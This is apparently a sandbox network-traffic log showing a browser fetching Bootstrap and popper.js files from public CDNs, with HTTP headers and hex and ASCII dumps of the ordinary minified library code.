2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 2d 31 3b 6f 72 64 65 72 Data Ascii: idth:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:27 UTC	627	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:27 UTC	961	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:27 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1082268 Expires: Mon, 21 Apr 2025 17:04:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jyeJJRDcbhflZcCd1QYUUsnN6SAyMquWJzVmDbIds%2BWTr3hwlRaFmVm4Tdul7071n7Z1eLsH0eQ0DCoRbcQ%2F%2FPBz8Olms4X1OOJgYP8uYoZJUmknkbyXYil1zzdYR3YXnh%2B4MFTH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87d159cd2e0a883c-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 17:04:27 UTC	408	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e Data Ascii: ==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#documen
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 Data Ascii: ){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bor
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 Data Ascii: op:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}retu
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 Data Ascii: ight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.w
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 Data Ascii: le.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={inst
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 Data Ascii: his.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pas
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 Data Ascii: turn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){re
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f Data Ascii: turn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functio
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b Data Ascii: turn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:27 UTC	621	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:27 UTC	946	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:27 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 127ebfc7b1202ea45d8c4e9ae0b5c9da CDN-Cache: HIT CF-Cache-Status: HIT Age: 3804903 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87d159cd2d4a0957-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 17:04:27 UTC	423	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bff/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 Data Ascii: ry","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 Data Ascii: gger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 Data Ascii: return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._d
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d Data Ascii: }if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 Data Ascii: EAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".a
